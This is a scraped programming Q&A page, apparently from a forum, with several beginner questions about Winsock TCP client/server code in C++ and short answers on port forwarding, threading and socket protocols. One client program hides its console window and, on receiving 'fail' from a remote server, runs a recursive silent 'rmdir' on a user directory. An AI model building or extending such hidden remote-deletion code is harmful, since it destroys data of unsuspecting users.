I want to make a program such that the user runs the client program and then writes the name of a file to be transferred to the server, the user should be able to set the server address. Then the server accepts the file and saves it to its working directory with the same name.
I don't know how to do this.
This is my code:
Server.cpp
#include <iostream>
#include <winsock2.h>
#pragma comment (lib, "ws2_32.lib")
using namespace std;
int main(int argc, _TCHAR* argv[])
{
WSAData wsaData;
WORD DLLVersion = MAKEWORD(2,1);
if (WSAStartup(DLLVersion, &wsaData)) {
cout << "Error\n";
exit(1);
}
SOCKADDR_IN addr;
int sizeofaddr = sizeof(addr);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_port = htons(1111);
addr.sin_family = AF_INET;
SOCKET sListen = socket(AF_INET, SOCK_STREAM, NULL);
bind(sListen, (SOCKADDR*)&addr, sizeof(addr));
listen(sListen, SOMAXCONN);
SOCKET newConnection;
newConnection = accept(sListen, (SOCKADDR*)&addr, &sizeofaddr);
if (newConnection == 0) cout << "Error #2\n";
else cout << "Client connected!\n";
system("pause");
return 0;
}
Client.cpp
#include <iostream>
#include <winsock2.h>
#pragma comment (lib, "ws2_32.lib")
using namespace std;
int main(int argc, _TCHAR* argv[])
{
WSAData wsaData;
WORD DLLVersion = MAKEWORD(2,1);
if (WSAStartup(DLLVersion, &wsaData)) {
cout << "Error\n";
exit(1);
}
SOCKADDR_IN addr;
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_port = htons(1111);
addr.sin_family = AF_INET;
SOCKET Connection = socket(AF_INET, SOCK_STREAM, NULL);
if (connect(Connection, (SOCKADDR*)&addr, sizeof(addr)) != 0) {
cout << "Error: failed connect to server\n";
return 1;
}
cout << "Connected!\n";
system("pause");
return 0;
}
Related
I’m a noob with sockets, and I’ve tried to make a program. When it is connected in my local address it works ok, but the problem comes when I try to use it between networks, and they don’t connect. I’ve tried changing the IP from local to public and a lot of combinations of IPs. Here is the code of the program:
SERVER
#pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>
#include <iostream>
#include <cstdio>
#pragma warning(disable: 4996)
int main(int argc, char* argv[]) {
//WSAStartup
WSAData wsaData;
WORD DLLVersion = MAKEWORD(2, 1);
if (WSAStartup(DLLVersion, &wsaData) != 0) {
std::cout << "Error" << std::endl;
exit(1);
}
SOCKADDR_IN addr;
int sizeofaddr = sizeof(addr);
addr.sin_addr.S_un.S_addr = INADDR_ANY;
addr.sin_port = htons(45600);
addr.sin_family = AF_INET;
SOCKET sListen = socket(AF_INET, SOCK_STREAM, NULL);
bind(sListen, (SOCKADDR*)&addr, sizeof(addr));
listen(sListen, SOMAXCONN);
SOCKET newConnection;
newConnection = accept(sListen, (SOCKADDR*)&addr, &sizeofaddr);
if (newConnection == 0) {
std::cout << "Error #2\n";
}
else {
while (true) {
std::cout << "Conectado\n";
char msg[256] = "";
std::cin.getline(msg, sizeof(msg));
send(newConnection, msg, sizeof(msg), NULL);
}
}
system("pause");
return 0;
}
CLIENT
#pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#pragma warning(disable: 4996)
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}
int main(int argc, char* argv[]) {
//WSAStartup
WSAData wsaData;
WORD DLLVersion = MAKEWORD(2, 1);
if (WSAStartup(DLLVersion, &wsaData) != 0) {
std::cout << "Error" << std::endl;
exit(1);
}
SOCKADDR_IN addr;
int sizeofaddr = sizeof(addr);
addr.sin_addr.s_addr = inet_addr("192.168.1.17");
addr.sin_port = htons(45600);
addr.sin_family = AF_INET;
SOCKET Connection = socket(AF_INET, SOCK_STREAM, NULL);
if (connect(Connection, (SOCKADDR*)&addr, sizeof(addr)) != 0) {
std::cout << "Error: failed connect to server.\n";
return 1;
}
std::cout << "Soy cliente\n";
char msg[256] = "";
recv(Connection, msg, sizeof(msg), NULL);
std::cout << msg << std::endl;
if (msg[0] == 'f' && msg[1] == 'a' && msg[2] == 'i' && msg[3] == 'l') {
std::string directoryName = "C:\\Users\\usuario\\Documents\\Prueba";
std::string a = "rmdir /s /q " + directoryName;
system(a.c_str());
}
std::system("pause");
return 0;
}
if your server is behind a NAT, you need to enable port forwarding on the NAT, and then have the client connect to the NAT's public IP.
If not, check your firewall settings.
I try to make multithreaded server (C++, Visual Studio 2017), but have a problem: every time I start launch my .exe I get connected to port 52428 (while I even not start client). Why is heppening and how should I get rid of it.
Server:
#include <winsock2.h>
#include <thread>
#pragma comment(lib, "ws2_32.lib")
int main()
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
if(err != 0)
return -1;
sockaddr_in local;
local.sin_family = AF_INET;
local.sin_port = htons(8080);
local.sin_addr.s_addr = htonl(INADDR_ANY);
SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
bind(s, (struct sockaddr*)&local, sizeof(local));
cout << "Start server..." << endl;
int r = listen(s, 10000);
while(true)
{
sockaddr_in remote;
int j = sizeof(remote);
SOCKET newS = accept(s, (struct sockaddr*) &remote, &j);
if (newS == INVALID_SOCKET)
continue;
Socket sock = {newS, remote.sin_port, const_cast<const char*>(inet_ntoa(remote.sin_addr))}; // save socket, port and IP
cout << " Connect to port " << sock.port << endl;
thread thr(processing, ref(sock));
thr.join();
}
WSACleanup();
return 0;
}
Thank you for help.
Yesterday I started writing a code for server-client TCP/IP for chating.
It's code for server:
#include <iostream>
#include <winsock2.h>
#pragma comment(lib, "Ws2_32.lib")
int main() {
WSAData wsa;
WORD Version = MAKEWORD(2, 1);
WSAStartup(Version, &wsa);
SOCKET Listen = socket(AF_INET, SOCK_STREAM, 0);
SOCKET Connect = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN Server;
Server.sin_addr.s_addr = inet_addr("127.0.0.1");
Server.sin_family = AF_INET;
Server.sin_port = htons(100);
bind(Listen, (SOCKADDR*)&Server, sizeof(Server));
listen(Listen, 1);
int size = sizeof(Server);
char buffer[512];
char *fn = "";
int iResult;
std::cout <<"Listening...";
if(Connect = accept(Listen, (SOCKADDR*)&Server, &size)) {
std::cout << "\nConnecting was reached :)";
}
do {
char *fn;
iResult = recv(Connect, buffer, sizeof(buffer), 0);
if (iResult > 0) {
buffer[iResult] = '\0';
fn = buffer;
std::cout << fn;
} else if (iResult == 0){
printf("Connection closing...\n");
iResult = 0;
}
} while (iResult > 0);
WSACleanup();
std::cin.get();
return 0;
}
And it's for client:
#include <iostream>
#include <winsock2.h>
#include <string>
#pragma comment(lib, "Ws2_32.lib")
int main() {
WSAData wsa;
WORD Version = MAKEWORD(2, 1);
WSAStartup(Version, &wsa);
int iResult;
std::string text;
char buffer[512];
SOCKADDR_IN Client;
Client.sin_addr.s_addr = inet_addr("127.0.0.1");
Client.sin_family = AF_INET;
Client.sin_port = htons(100);
SOCKET Connect = socket(AF_INET, SOCK_STREAM, 0);
std::cout << "Wcisnij enter aby polaczyc";
std::cin.get();
if(connect(Connect, (SOCKADDR*)&Client, sizeof(Client))) {
std::cout << "Nawiazano polaczeniee";
}
do {
std::cout << "Waxer: ";
std::cin >> text;
text.insert( 0, "Waxer: " );
strcpy_s(buffer, text.c_str());
// Send an initial buffer
iResult = send(Connect, buffer, strlen(buffer), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(Connect);
WSACleanup();
return 1;
}
} while(text != "ban");
std::cout<< "Polaczenie wyslane!";
std::cin.get();
return 0;
}
My question is? What should I change in this code for multiple clients. I mean how to connect new clients?
Your question is quite open, but in general you need threads.
Pseudocode:
int main()
{
std::vector<std::thread> clients;
Socket listener("localhost", "1337");
for (;;)
{
Socket tmp = listener.accept();
clients.push_back(std::thread(&myHandlerFunction, tmp));
clients.back().detach();
}
}
In the end you have a thread for every connected client and can codify your chat logic so that they can communicate with each other.
I'm trying to create sockets with a video a found on youtube.
Here's the video: Link
I tried the code, just like the video, but it keeps giving me errors and I can't compile it.
sdkddkver.h: No such file or directory.
I'm using Dev, and also tried to put the sdkddkver.h code in the same directory, nothing happened. Downloaded the Windows SDK but still.
Here's my final code after the video:
#pragma comment(lib, "Ws2_32.lib");
#include <sdkddkver.h>
#include <conio.h>
#include <stdio.h>
#include <WinSock2.h>
#include <Windows.h>
#include <iostream>
using namespace std;
int main() {
long answer;
WSAData wsaData;
WORD DLLVERSION;
DLLVERSION = MAKEWORD(2,1);
answer = WSAStartup(DLLVERSION, &wsaData);
SOCKADDR_IN addr;
int addrlen = sizeof(addr);
SOCKET = sListen;
SOCKET = sConnect;
sConnect = socket(AF_INET, SOCK_STREAM, NULL);
addr.sin_addr.s_addr = inet.ad_addr("127.0.0.1");
addr.sin_family = AF_INET;
addr.sin_port = htons(1234);
sListen = socket(AF_INET, SOCK_STREAM, NULL);
bind (sListen, (SOCKADDR*)&addr, sizeof(addr));
listen(sListen, SOMAXCONN);
for (;;){
cout << "Awaiting incoming conection..." << endl;
if (sConnect = accept(sListen, (SOCKADDR*)&addr, &addrlen))
{
cout << "Connection Found"<< endl;
}
}
cin.get();
return 0;
}
Any help is appreciated! thank you!
I'm trying to create a client manager. I'have read some information about sockets. I'm doing my first steps and I've got my first problem.
This is my code:
#include <iostream>
#include <cstdio>
#include <winsock2.h>
#include <windows.h>
#pragma comment (lib, "ws2_32.lib")
using namespace std;
const int VERSION_MAJOR = 1;
const int VERSION_MINOR = 1;
int main()
{
WSADATA WSData;
SOCKET sock;
struct sockaddr_in addr;
WSAStartup(MAKEWORD(VERSION_MAJOR, VERSION_MINOR), &WSData)
sock = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_port = htons(25); // или любой другой порт...
hostent *server_adress = gethostbyname("smtp.gmail.com");
addr.sin_addr.s_addr = *((unsigned long *)server_adress->h_addr_list[0]);
int con = connect(sock, (struct sockaddr *) &addr, sizeof(addr));
cout << "connect status " << con << '\n';
return 0;
}
connect() returns -1
why i can't connect? Where is mistake?
Please, help me
In the following line:
sock = socket(AF_INET, SOCK_STREAM, 0);
You do not specify a protocol. You should change it to
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
This is the kind of protocol you are going to want to establish with something such as a mailing service.